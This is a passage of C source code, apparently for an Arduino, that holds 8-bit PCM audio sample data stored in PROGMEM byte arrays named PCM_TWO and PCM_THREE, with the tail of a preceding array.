0x7b,0x7c,0x7d,0x7e,0x7f,0x80,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x89,0x8a,0x8a,0x8a,0x8a,0x8a,0x8a,0x8a,0x89,0x89,0x88,0x87,0x86\n,0x85,0x85,0x84,0x83,0x82,0x82,0x81,0x81,0x80,0x7f,0x7f,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7c,0x7c,0x7c,0x7b,0x7b,0x7b,0x7b,0x7a,0x7a,0x7a,0x7a,0x7a,0x79,0x79,0x79\n,0x79,0x79,0x78,0x78,0x79,0x79,0x79,0x7a,0x7b,0x7b,0x7c,0x7d,0x7e,0x7f,0x80,0x81,0x82,0x83,0x84,0x84,0x85,0x86,0x87,0x87,0x88,0x89,0x89,0x89,0x8a,0x8a,0x8a,0x8a\n,0x8a,0x8a,0x8a,0x89,0x89,0x89,0x89,0x88,0x88,0x88,0x87,0x87,0x86,0x85,0x85,0x84,0x84,0x83,0x82,0x82,0x81,0x80,0x80,0x7f,0x7e,0x7e,0x7d,0x7d,0x7c,0x7b,0x7b,0x7a\n,0x7a,0x79,0x79,0x79,0x78,0x78,0x77,0x77,0x77,0x76,0x76,0x76,0x76,0x76,0x76,0x76,0x76,0x76,0x76,0x77,0x77,0x78,0x78,0x79,0x79,0x7a,0x7b,0x7c,0x7d,0x7e,0x7f,0x7f\n,0x80,0x81,0x81,0x82,0x82,0x83,0x83,0x83,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x85,0x85,0x85,0x85,0x85,0x84\n,0x84,0x84,0x84,0x84,0x83,0x83,0x82,0x82,0x81,0x81,0x81,0x80,0x80,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f\n,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x81\n,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7a,0x7a,0x7a,0x7a\n,0x7a,0x7a,0x7a,0x7a,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7c,0x7c,0x7c,0x7c,0x7d,0x7d,0x7d,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x81,0x81,0x81,0x82,0x82\n,0x83,0x83,0x83,0x84,0x84,0x84,0x85,0x85,0x85,0x85,0x85,0x85,0x85,0x85,0x85,0x85,0x85,0x85,0x84,0x84,0x84,0x84,0x83,0x83,0x83,0x83,0x82,0x82,0x82,0x82,0x82,0x81\n,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80};\n\nconst char unsigned PROGMEM PCM_TWO[]={\n0x7e,0x7e,0x7e,0x7e,0x7f,0x7e,0x7e,0x7f,0x7d,0x82,0x81,0x80,0x83,0x81,0x81,0x81,0x7e,0x83,0x80,0x7f,0x80,0x82,0x7d,0x82,0x81,0x7f,0x83,0x80,0x81,0x80,0x83,0x7d,0x86\n,0x7e,0x84,0x82,0x86,0x84,0x81,0x83,0x80,0x87,0x7d,0x85,0x7e,0x84,0x7d,0x82,0x7f,0x82,0x82,0x7e,0x84,0x7c,0x83,0x78,0x82,0x7c,0x80,0x7d,0x80,0x80,0x81,0x80,0x7e\n,0x83,0x7d,0x81,0x7d,0x82,0x7e,0x7f,0x7d,0x83,0x7d,0x7c,0x82,0x80,0x80,0x7d,0x82,0x81,0x7d,0x81,0x7e,0x7f,0x7e,0x7d,0x82,0x7f,0x7d,0x82,0x80,0x7b,0x83,0x7b,0x7e\n,0x80,0x7f,0x80,0x83,0x7d,0x86,0x81,0x7c,0x87,0x81,0x7d,0x81,0x80,0x81,0x81,0x79,0x7e,0x80,0x7a,0x7b,0x81,0x7b,0x7f,0x7b,0x7e,0x7f,0x7c,0x7b,0x81,0x7f,0x7a,0x83\n,0x7e,0x82,0x7c,0x81,0x7f,0x83,0x7d,0x7f,0x85,0x7e,0x7f,0x7e,0x82,0x7d,0x7e,0x7d,0x82,0x7f,0x7c,0x80,0x84,0x80,0x7b,0x84,0x84,0x7c,0x7e,0x7f,0x80,0x7f,0x7a,0x7d\n,0x85,0x7c,0x7b,0x84,0x82,0x81,0x81,0x85,0x84,0x82,0x7e,0x84,0x82,0x80,0x80,0x84,0x80,0x80,0x81,0x81,0x7f,0x80,0x7d,0x7e,0x81,0x7d,0x81,0x7f,0x83,0x81,0x82,0x7d\n,0x84,0x82,0x7f,0x7e,0x81,0x82,0x7e,0x80,0x80,0x81,0x7d,0x80,0x81,0x81,0x7c,0x82,0x80,0x81,0x7d,0x7f,0x7f,0x7f,0x7f,0x7d,0x81,0x7c,0x80,0x7f,0x83,0x7c,0x83,0x83\n,0x80,0x82,0x81,0x82,0x80,0x82,0x80,0x83,0x81,0x80,0x82,0x81,0x7e,0x7d,0x82,0x7d,0x7c,0x7f,0x7d,0x7d,0x7c,0x7d,0x7c,0x7f,0x7a,0x7e,0x80,0x7b,0x7f,0x82,0x81,0x7e\n,0x85,0x80,0x82,0x82,0x7f,0x82,0x82,0x7e,0x7f,0x82,0x7b,0x80,0x7e,0x7b,0x80,0x7d,0x7b,0x7f,0x7c,0x7a,0x7f,0x7d,0x7d,0x81,0x7e,0x80,0x83,0x81,0x81,0x84,0x83,0x81\n,0x83,0x81,0x81,0x7f,0x80,0x7d,0x7e,0x7e,0x7d,0x80,0x80,0x82,0x82,0x86,0x83,0x85,0x87,0x85,0x84,0x84,0x86,0x82,0x84,0x82,0x81,0x82,0x81,0x80,0x80,0x80,0x7d,0x7e\n,0x7d,0x7d,0x7d,0x7d,0x7d,0x7f,0x80,0x7c,0x7f,0x82,0x80,0x7e,0x81,0x80,0x80,0x7f,0x7f,0x80,0x82,0x7f,0x80,0x83,0x7e,0x7d,0x7f,0x7e,0x7a,0x7b,0x7a,0x7b,0x79,0x77\n,0x7a,0x7c,0x79,0x79,0x7c,0x7c,0x7c,0x7d,0x81,0x82,0x84,0x87,0x89,0x8b,0x8e,0x8f,0x93,0x94,0x94,0x95,0x95,0x93,0x91,0x90,0x8b,0x87,0x82,0x7e,0x76,0x73,0x6d,0x68\n,0x63,0x5c,0x5b,0x56,0x52,0x4e,0x4e,0x4e,0x4f,0x4e,0x55,0x5d,0x67,0x76,0x77,0x8a,0x9b,0x9f,0xa8,0xb4,0xb7,0xb2,0xb5,0xae,0xa8,0xa2,0x9c,0x90,0x90,0x8e,0x85,0x8a\n,0x8d,0x8b,0x8b,0x96,0x92,0x92,0x95,0x94,0x91,0x8e,0x8b,0x85,0x85,0x7f,0x78,0x76,0x74,0x6d,0x68,0x64,0x5c,0x55,0x4c,0x44,0x39,0x3a,0x32,0x39,0x51,0x3d,0x59,0x7d\n,0x80,0x90,0xae,0xc1,0xc1,0xcc,0xca,0xc6,0xba,0xab,0x97,0x8b,0x7e,0x68,0x5d,0x5d,0x58,0x56,0x65,0x69,0x77,0x85,0x92,0x9d,0xa7,0xaf,0xaf,0xb3,0xb1,0xa8,0x9e,0x9b\n,0x94,0x8a,0x83,0x82,0x82,0x7f,0x81,0x85,0x89,0x88,0x87,0x87,0x81,0x77,0x68,0x5c,0x4b,0x35,0x21,0x18,0x10,0x20,0x0e,0x19,0x4c,0x53,0x64,0x8d,0xb3,0xbe,0xd1,0xe2\n,0xe8,0xe0,0xd8,0xc8,0xb3,0xa6,0x86,0x70,0x66,0x5a,0x43,0x43,0x58,0x51,0x53,0x70,0x85,0x88,0x99,0xae,0xb2,0xbb,0xba,0xb0,0xb2,0xac,0x94,0x88,0x8a,0x7a,0x6a,0x6f\n,0x74,0x6d,0x71,0x7c,0x83,0x86,0x88,0x89,0x85,0x81,0x6f,0x5d,0x53,0x3f,0x1e,0x10,0x12,0x21,0x17,0x0c,0x4c,0x65,0x66,0x92,0xbb,0xd4,0xdd,0xe8,0xf5,0xf3,0xe0,0xcb\n,0xba,0xad,0x8d,0x6e,0x67,0x60,0x48,0x3c,0x53,0x5b,0x57,0x65,0x82,0x92,0x95,0xa4,0xae,0xbc,0xbc,0xab,0xab,0xb3,0xa0,0x86,0x8b,0x8b,0x78,0x6c,0x77,0x7a,0x76,0x77\n,0x7d,0x88,0x87,0x85,0x80,0x82,0x78,0x63,0x57,0x4c,0x33,0x1e,0x16,0x26,0x2f,0x10,0x37,0x63,0x64,0x7d,0xa1,0xc2,0xce,0xd8,0xe3,0xe8,0xde,0xce,0xb6,0xa9,0x9a,0x75\n,0x5f,0x5a,0x4e,0x35,0x38,0x48,0x4f,0x51,0x63,0x7e,0x89,0x9b,0xa6,0xb3,0xc6,0xc1,0xb4,0xbb,0xbd,0xa3,0x93,0x96,0x90,0x7d,0x77,0x7d,0x7e,0x7d,0x7d,0x84,0x8a,0x8c\n,0x84,0x7f,0x80,0x71,0x59,0x4a,0x40,0x27,0x0e,0x04,0x13,0x23,0x07,0x22,0x5a,0x65,0x79,0x99,0xc5,0xd6,0xde,0xe9,0xf1,0xeb,0xd9,0xc6,0xb3,0xa5,0x86,0x6a,0x5b,0x55\n,0x3e,0x32,0x3b,0x3c,0x43,0x56,0x65,0x6f,0x8d,0x9f,0xa6,0xbb,0xc9,0xc4,0xc7,0xce,0xc1,0xae,0xaa,0xa1,0x8c,0x85,0x83,0x79,0x79,0x7e,0x7c,0x80,0x8c,0x8b,0x88,0x8e\n,0x89,0x7b,0x71,0x66,0x52,0x3e,0x30,0x1c,0x11,0x09,0x15,0x24,0x16,0x3c,0x5f,0x6b,0x8a,0xa8,0xc7,0xd5,0xe1,0xe6,0xe7,0xdc,0xd0,0xba,0xa2,0x95,0x7d,0x64,0x53,0x51\n,0x40,0x3a,0x3f,0x42,0x4a,0x57,0x71,0x7a,0x8f,0xa2,0xb0,0xc1,0xc9,0xc9,0xc6,0xd0,0xc0,0xab,0xa4,0x9a,0x87,0x79,0x75,0x6d,0x6d,0x73,0x77,0x7a,0x8a,0x92,0x8d,0x94\n,0x99,0x90,0x82,0x7a,0x6a,0x53,0x40,0x2b,0x18,0x0a,0x00,0x00,0x18,0x14,0x1b,0x4b,0x64,0x79,0x94,0xb4,0xcd,0xd8,0xdf,0xe0,0xda,0xd5,0xc6,0xa6,0x99,0x8e,0x75,0x60\n,0x5a,0x53,0x4d,0x4c,0x4d,0x56,0x5f,0x70,0x77,0x83,0x99,0xa4,0xac,0xb6,0xbd,0xbb,0xc1,0xbe,0xae,0xa9,0xa9,0x9b,0x8c,0x8b,0x89,0x83,0x82,0x86,0x8a,0x8f,0x96,0x94\n,0x96,0x9b,0x96,0x8b,0x85,0x7e,0x6d,0x5d,0x4f,0x40,0x2f,0x24,0x17,0x0e,0x0c,0x1a,0x29,0x21,0x3b,0x60,0x6e,0x88,0xa1,0xb3,0xc8,0xd7,0xd8,0xd4,0xcf,0xcd,0xbd,0xa4\n,0x9a,0x8e,0x7d,0x70,0x64,0x59,0x59,0x59,0x54,0x54,0x5f,0x6c,0x71,0x79,0x88,0x94,0xa1,0xac,0xaf,0xb4,0xbe,0xbe,0xb4,0xaf,0xaa,0xa0,0x98,0x8d,0x83,0x80,0x82,0x7f\n,0x7a,0x83,0x8e,0x8d,0x8f,0x94,0x95,0x91,0x8c,0x81,0x75,0x6c,0x5d,0x49,0x39,0x2d,0x20,0x14,0x0d,0x07,0x0c,0x20,0x25,0x2a,0x4a,0x65,0x7c,0x96,0xaa,0xc1,0xd4,0xe2\n,0xe4,0xda,0xd9,0xd6,0xbe,0xa9,0x9a,0x88,0x77,0x69,0x5c,0x50,0x50,0x54,0x52,0x54,0x64,0x71,0x7c,0x89,0x93,0xa1,0xb0,0xb3,0xb2,0xb6,0xb8,0xb1,0xa6,0xa1,0x9a,0x90\n,0x8d,0x89,0x83,0x86,0x8c,0x8c,0x8f,0x97,0x9c,0x9d,0x9f,0x9d,0x95,0x8e,0x84,0x76,0x68,0x5b,0x4c,0x3d,0x36,0x29,0x1f,0x21,0x1f,0x1a,0x1c,0x25,0x38,0x48,0x4a,0x60\n,0x79,0x8c,0xa2,0xae,0xbb,0xcb,0xd3,0xd6,0xcf,0xc5,0xc1,0xb4,0xa4,0x97,0x87,0x7e,0x77,0x71,0x69,0x66,0x6a,0x6b,0x6a,0x6e,0x75,0x78,0x7f,0x84,0x86,0x8c,0x93,0x95\n,0x96,0x9c,0x9e,0x9c,0x9e,0x9f,0x9b,0x9a,0x9c,0x98,0x96,0x96,0x95,0x93,0x94,0x92,0x8c,0x89,0x86,0x7d,0x74,0x6d,0x62,0x58,0x53,0x4c,0x44,0x41,0x3f,0x3b,0x3c,0x3e\n,0x3a,0x38,0x39,0x3a,0x3c,0x43,0x4e,0x4f,0x5c,0x6f,0x7e,0x91,0xa6,0xb4,0xc1,0xd0,0xd8,0xd8,0xd2,0xd1,0xc5,0xb7,0xae,0xa0,0x8e,0x82,0x79,0x6c,0x62,0x5c,0x58,0x55\n,0x5a,0x5e,0x62,0x6d,0x78,0x82,0x8e,0x9d,0xa4,0xac,0xb4,0xb7,0xb6,0xb6,0xb2,0xa7,0xa2,0x9c,0x93,0x8a,0x86,0x82,0x7f,0x7e,0x7d,0x7c,0x7d,0x7d,0x79,0x78,0x74,0x6e\n,0x68,0x63,0x5b,0x54,0x51,0x4e,0x49,0x47,0x49,0x46,0x45,0x46,0x46,0x47,0x4a,0x4d,0x54,0x61,0x68,0x74,0x84,0x91,0xa3,0xb3,0xbf,0xc6,0xcb,0xd0,0xce,0xc4,0xbc,0xb0\n,0xa3,0x97,0x8a,0x7d,0x72,0x6a,0x64,0x5d,0x5b,0x5b,0x5c,0x61,0x64,0x6b,0x74,0x7e,0x86,0x91,0x9a,0xa0,0xa7,0xab,0xac,0xaa,0xaa,0xa5,0x9d,0x98,0x92,0x8b,0x85,0x80\n,0x7c,0x7a,0x79,0x75,0x74,0x75,0x73,0x70,0x6e,0x6c,0x68,0x64,0x60,0x5d,0x5a,0x59,0x59,0x59,0x59,0x5c,0x5d,0x5e,0x5e,0x5e,0x5f,0x60,0x60,0x61,0x64,0x6c,0x73,0x7a\n,0x86,0x8f,0x9a,0xa9,0xb3,0xb9,0xbe,0xbe,0xbc,0xb7,0xb0,0xa7,0x9a,0x91,0x86,0x7c,0x74,0x6d,0x68,0x64,0x62,0x64,0x67,0x6a,0x72,0x78,0x7f,0x88,0x90,0x98,0x9f,0xa4\n,0xa6,0xa9,0xaa,0xa7,0xa3,0xa0,0x99,0x92,0x8d,0x88,0x83,0x7f,0x7c,0x79,0x78,0x77,0x74,0x74,0x73,0x71,0x6e,0x6e,0x6c,0x68,0x67,0x66,0x65,0x66,0x67,0x68,0x69,0x6c\n,0x6d,0x6e,0x70,0x70,0x6e,0x6d,0x6d,0x6b,0x69,0x68,0x68,0x6a,0x6d,0x72,0x79,0x7f,0x88,0x8f,0x97,0x9e,0xa2,0xa5,0xa4,0xa1,0x9e,0x98,0x92,0x8a,0x82,0x7b,0x75,0x70\n,0x6d,0x6b,0x6a,0x6b,0x6e,0x73,0x78,0x7f,0x86,0x8d,0x94,0x9a,0x9f,0xa1,0xa3,0xa2,0x9f,0x9b,0x97,0x92,0x8b,0x86,0x81,0x7c,0x7a,0x79,0x77,0x78,0x79,0x7a,0x7c,0x7e\n,0x7f,0x7f,0x7f,0x7e,0x7b,0x79,0x75,0x72,0x6f,0x6c,0x6a,0x69,0x67,0x66,0x65,0x66,0x66,0x66,0x68,0x68,0x6a,0x6c,0x6e,0x72,0x77,0x7d,0x82,0x88,0x8e,0x94,0x98,0x9c\n,0x9f,0x9e,0x9d,0x9b,0x97,0x93,0x8f,0x8b,0x86,0x82,0x7f,0x7c,0x7a,0x79,0x7a,0x7b,0x7c,0x7f,0x82,0x85,0x89,0x8c,0x8f,0x92,0x95,0x95,0x94,0x94,0x92,0x8f,0x8d,0x8a\n,0x87,0x84,0x82,0x80,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7c,0x7b,0x79,0x76,0x73,0x70,0x6c,0x6a,0x68,0x66,0x66,0x66,0x67,0x69,0x6b,0x6c,0x6d,0x6f,0x6f,0x6f,0x6e\n,0x6d,0x6c,0x6a,0x69,0x68,0x69,0x6c,0x70,0x74,0x79,0x80,0x85,0x8c,0x92,0x97,0x9a,0x9c,0x9c,0x9c,0x9b,0x99,0x96,0x93,0x8f,0x8b,0x88,0x85,0x83,0x81,0x80,0x80,0x81\n,0x82,0x84,0x86,0x89,0x8c,0x8d,0x8f,0x90,0x90,0x8f,0x8e,0x8d,0x8a,0x89,0x87,0x84,0x83,0x83,0x81,0x81,0x82,0x81,0x80,0x80,0x7f,0x7e,0x7c,0x7b,0x78,0x76,0x74,0x71\n,0x70,0x6f,0x6f,0x6e,0x6e,0x6f,0x70,0x70,0x71,0x71,0x71,0x70,0x6f,0x6e,0x6d,0x6d,0x6d,0x6e,0x70,0x74,0x78,0x7d,0x83,0x89,0x8e,0x93,0x97,0x9b,0x9d,0x9f,0x9e,0x9c\n,0x99,0x95,0x91,0x8d,0x89,0x85,0x81,0x7f,0x7d,0x7d,0x7d,0x7e,0x7f,0x81,0x83,0x85,0x86,0x87,0x88,0x87,0x86,0x85,0x83,0x82,0x80,0x7f,0x7d,0x7c,0x7b,0x7b,0x7b,0x7b\n,0x7c,0x7d,0x7e,0x7e,0x7d,0x7c,0x7b,0x79,0x77,0x74,0x72,0x6f,0x6d,0x6c,0x6a,0x6a,0x6a,0x6a,0x6a,0x6b,0x6c,0x6c,0x6d,0x6e,0x6e,0x6f,0x70,0x71,0x73,0x77,0x7b,0x7f\n,0x83,0x89,0x8d,0x92,0x96,0x99,0x9b,0x9c,0x9c,0x9b,0x9a,0x98,0x95,0x92,0x8f,0x8c,0x89,0x88,0x87,0x85,0x85,0x84,0x85,0x85,0x86,0x87,0x87,0x88,0x87,0x87,0x86,0x85\n,0x85,0x84,0x83,0x82,0x81,0x81,0x80,0x80,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x7f,0x7e,0x7d,0x7b,0x79,0x76,0x74,0x71,0x6f,0x6d,0x6c,0x6b,0x6a,0x6a,0x6a,0x6b,0x6c\n,0x6e,0x70,0x72,0x75,0x77,0x7a,0x7d,0x80,0x84,0x87,0x8a,0x8d,0x8f,0x91,0x92,0x92,0x91,0x91,0x8f,0x8d,0x8b,0x89,0x87,0x85,0x83,0x82,0x82,0x82,0x82,0x82,0x83,0x83\n,0x83,0x83,0x83,0x82,0x82,0x81,0x80,0x7f,0x7e,0x7e,0x7d,0x7c,0x7c,0x7c,0x7c,0x7c,0x7d,0x7d,0x7e,0x7e,0x7f,0x7e,0x7e,0x7e,0x7d,0x7c,0x7b,0x7a,0x79,0x77,0x75,0x74\n,0x72,0x71,0x71,0x70,0x70,0x71,0x72,0x73,0x75,0x77,0x79,0x7c,0x7f,0x81,0x84,0x87,0x89,0x8b,0x8c,0x8d,0x8e,0x8e,0x8e,0x8e,0x8e,0x8e,0x8d,0x8c,0x8b,0x8a,0x89,0x88\n,0x87,0x86,0x86,0x85,0x85,0x85,0x84,0x84,0x84,0x84,0x84,0x84,0x83,0x82,0x82,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7e,0x7e,0x7d,0x7c\n,0x7a,0x79,0x78,0x76,0x75,0x75,0x74,0x73,0x73,0x73,0x73,0x74,0x75,0x75,0x77,0x78,0x79,0x7b,0x7d,0x7f,0x80,0x82,0x84,0x85,0x86,0x87,0x88,0x88,0x88,0x87,0x87,0x86\n,0x85,0x85,0x84,0x83,0x82,0x81,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d\n,0x7d,0x7d,0x7d,0x7d,0x7d,0x7c,0x7c,0x7c,0x7c,0x7c,0x7b,0x7b,0x7b,0x7b,0x7c,0x7c,0x7d,0x7e,0x7f,0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x86,0x87,0x87,0x87,0x88,0x88\n,0x88,0x88,0x88,0x88,0x88,0x87,0x87,0x87,0x87,0x86,0x86,0x85,0x85,0x84,0x84,0x83,0x82,0x82,0x81,0x81,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e\n,0x7d,0x7d,0x7d,0x7c,0x7c,0x7b,0x7b,0x7a,0x7a,0x79,0x79,0x79,0x79,0x78,0x79,0x79,0x79,0x79,0x7a,0x7b,0x7b,0x7c,0x7c,0x7d,0x7e,0x7e,0x7f,0x7f,0x80,0x80,0x80,0x80\n,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x81,0x81,0x80,0x80,0x7f,0x7f,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d\n,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x81,0x81,0x82,0x82\n,0x82,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x82,0x82,0x82,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80\n,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d\n,0x7d,0x7d,0x7d,0x7d,0x7d,0x7e};\n\nconst char unsigned PROGMEM PCM_THREE[]={\n0x81,0x81,0x81,0x7f,0x80,0x80,0x7f,0x81,0x80,0x80,0x80,0x80,0x81,0x7f,0x7e,0x7e,0x7c,0x7c,0x7c,0x7c,0x7d,0x7d,0x7d,0x7f,0x80,0x81,0x80,0x81,0x81,0x80,0x80,0x81,0x81\n,0x80,0x7f,0x7f,0x82,0x83,0x82,0x82,0x83,0x85,0x86,0x85,0x84,0x84,0x86,0x86,0x85,0x84,0x84,0x85,0x85,0x85,0x83,0x84,0x85,0x84,0x83,0x81,0x81,0x82,0x81,0x7f,0x7c\n,0x7b,0x7c,0x7b,0x79,0x77,0x76,0x74,0x72,0x6f,0x6d,0x6c,0x6a,0x67,0x65,0x67,0x68,0x6b,0x6d,0x71,0x79,0x82,0x88,0x8c,0x90,0x97,0x9c,0x9d,0x9b,0x98,0x97,0x95,0x90\n,0x8a,0x87,0x86,0x85,0x83,0x82,0x82,0x85,0x87,0x88,0x89,0x8a,0x89,0x88,0x87,0x87,0x85,0x81,0x7e,0x7d,0x7e,0x7e,0x7c,0x7b,0x7b,0x7c,0x7b,0x79,0x76,0x72,0x6d,0x66\n,0x5f,0x5a,0x58,0x57,0x56,0x5b,0x66,0x70,0x7a,0x81,0x8b,0x9b,0xa5,0xa8,0xa4,0xa0,0xa1,0x9e,0x93,0x86,0x7c,0x7a,0x78,0x73,0x6e,0x6f,0x75,0x7e,0x88,0x8d,0x90,0x94\n,0x99,0x9e,0x9e,0x99,0x91,0x8c,0x8a,0x87,0x82,0x7d,0x7b,0x7f,0x81,0x83,0x85,0x88,0x8c,0x8e,0x8e,0x8a,0x85,0x7f,0x77,0x6f,0x65,0x58,0x4b,0x40,0x39,0x34,0x33,0x3c\n,0x4c,0x5c,0x6b,0x77,0x88,0xa3,0xb9,0xc1,0xbe,0xb6,0xb6,0xb5,0xa9,0x93,0x7e,0x72,0x6e,0x68,0x60,0x5c,0x60,0x69,0x76,0x84,0x91,0x9a,0x9e,0xa3,0xa9,0xab,0xa5,0x98\n,0x8d,0x87,0x82,0x7a,0x73,0x71,0x75,0x7b,0x7f,0x83,0x8b,0x93,0x97,0x96,0x92,0x8e,0x87,0x7b,0x6c,0x5d,0x4f,0x41,0x33,0x29,0x24,0x27,0x34,0x49,0x5d,0x70,0x7e,0x92\n,0xaf,0xc8,0xd3,0xcb,0xbc,0xb5,0xb4,0xa9,0x90,0x73,0x60,0x5d,0x5d,0x5a,0x54,0x55,0x63,0x77,0x89,0x96,0x9d,0xa2,0xa7,0xab,0xab,0xa3,0x96,0x8b,0x83,0x7e,0x78,0x73\n,0x72,0x77,0x7f,0x86,0x8d,0x93,0x99,0x9e,0x9d,0x97,0x8d,0x81,0x75,0x68,0x58,0x47,0x36,0x28,0x20,0x1d,0x24,0x3a,0x51,0x65,0x74,0x84,0xa3,0xc5,0xda,0xda,0xc9,0xbd\n,0xbd,0xb9,0xa3,0x80,0x63,0x57,0x58,0x55,0x4f,0x4a,0x50,0x64,0x7a,0x8e,0x9c,0xa4,0xab,0xaf,0xb4,0xb2,0xa7,0x98,0x8a,0x83,0x7d,0x76,0x71,0x72,0x7a,0x82,0x89,0x8f\n,0x97,0xa0,0xa3,0x9f,0x96,0x8b,0x80,0x71,0x5d,0x4a,0x38,0x28,0x1a,0x12,0x0f,0x1c,0x36,0x50,0x65,0x74,0x89,0xb0,0xd4,0xe6,0xdf,0xcd,0xc5,0xc7,0xbf,0xa2,0x7a,0x5d\n,0x57,0x59,0x53,0x47,0x41,0x4d,0x64,0x7a,0x8d,0x9a,0xa6,0xae,0xb4,0xb8,0xb4,0xa9,0x98,0x8b,0x85,0x7f,0x76,0x6d,0x6f,0x7b,0x86,0x8c,0x8f,0x98,0xa4,0xa9,0xa4,0x96\n,0x8a,0x7e,0x6f,0x5a,0x42,0x2e,0x1e,0x11,0x0a,0x08,0x16,0x34,0x4f,0x65,0x76,0x90,0xbc,0xe0,0xeb,0xe1,0xd1,0xd0,0xd4,0xc3,0x9b,0x70,0x5b,0x5e,0x5b,0x49,0x37,0x39\n,0x52,0x6a,0x76,0x80,0x92,0xac,0xbb,0xbb,0xb6,0xb2,0xaf,0xa5,0x98,0x8a,0x7e,0x76,0x73,0x79,0x82,0x86,0x88,0x8f,0xa0,0xad,0xac,0xa0,0x96,0x91,0x87,0x72,0x57,0x3f\n,0x30,0x20,0x0f,0x02,0x00,0x0b,0x29,0x46,0x5e,0x76,0x8d,0xb5,0xde,0xf1,0xed,0xdd,0xd7,0xdc,0xcf,0xa7,0x7b,0x62,0x61,0x5e,0x46,0x30,0x32,0x4d,0x65,0x68,0x6c,0x88\n,0xae,0xc0,0xb5,0xaa,0xb1,0xbf,0xb6,0x99,0x82,0x7e,0x83,0x7e,0x73,0x73,0x7c,0x8a,0x91,0x97,0x9f,0xa4,0xa4,0x9d,0x92,0x85,0x72,0x5f,0x4a,0x34,0x20,0x0f,0x04,0x00\n,0x01,0x10,0x31,0x50,0x66,0x79,0x97,0xc9,0xeb,0xeb,0xdc,0xdb,0xe8,0xe6,0xbb,0x8a,0x77,0x78,0x6f,0x4a,0x2b,0x35,0x52,0x5c,0x50,0x50,0x78,0xab,0xb9,0xa6,0x9e,0xbb\n,0xd7,0xc8,0x9d,0x8a,0x9a,0xa2,0x88,0x6a,0x6e,0x8a,0x93,0x84,0x80,0x97,0xb1,0xad,0x98,0x91,0x98,0x94,0x78,0x58,0x48,0x42,0x32,0x16,0x03,0x04,0x0f,0x17,0x2c,0x48\n,0x5f,0x77,0x92,0xbb,0xdd,0xdc,0xd5,0xde,0xeb,0xe1,0xb7,0x91,0x8d,0x88,0x6a,0x46,0x37,0x48,0x51,0x42,0x3e,0x58,0x7b,0x8c,0x8f,0x9a,0xb1,0xc1,0xbe,0xb4,0xaf,0xb0\n,0xa8,0x95,0x85,0x81,0x86,0x83,0x79,0x78,0x86,0x95,0x97,0x92,0x97,0xa1,0x9f,0x8c,0x7c,0x77,0x6d,0x55,0x3a,0x2d,0x28,0x1b,0x0b,0x07,0x12,0x2c,0x46,0x4c,0x5c,0x80\n,0xac,0xc9,0xc5,0xc3,0xde,0xf3,0xe0,0xb7,0xa0,0xa6,0x9c,0x6d,0x48,0x46,0x52,0x4b,0x34,0x36,0x56,0x6e,0x71,0x74,0x94,0xb6,0xb9,0xb0,0xb7,0xcd,0xc6,0xaa,0x9b,0xa3\n,0xa3,0x87,0x75,0x7b,0x86,0x7f,0x79,0x86,0x95,0x98,0x95,0x9b,0x9f,0x95,0x89,0x84,0x7a,0x62,0x4b,0x41,0x39,0x26,0x15,0x14,0x17,0x16,0x2c,0x4b,0x56,0x63,0x85,0xb3\n,0xc9,0xc1,0xcd,0xf1,0xf3,0xcc,0xb1,0xb1,0xae,0x82,0x55,0x52,0x57,0x44,0x2d,0x34,0x50,0x5d,0x59,0x69,0x8b,0xa7,0xb1,0xb0,0xbe,0xcd,0xce,0xbc,0xae,0xac,0xa3,0x90\n,0x7d,0x7d,0x7b,0x72,0x70,0x7f,0x8b,0x88,0x8c,0x9c,0xa8,0xa1,0x98,0x98,0x91,0x7d,0x6b,0x60,0x50,0x36,0x24,0x21,0x1b,0x0d,0x08,0x18,0x39,0x47,0x48,0x6a,0x96,0xac\n,0xb3,0xc0,0xdc,0xe6,0xcf,0xc1,0xc0,0xac,0x8d,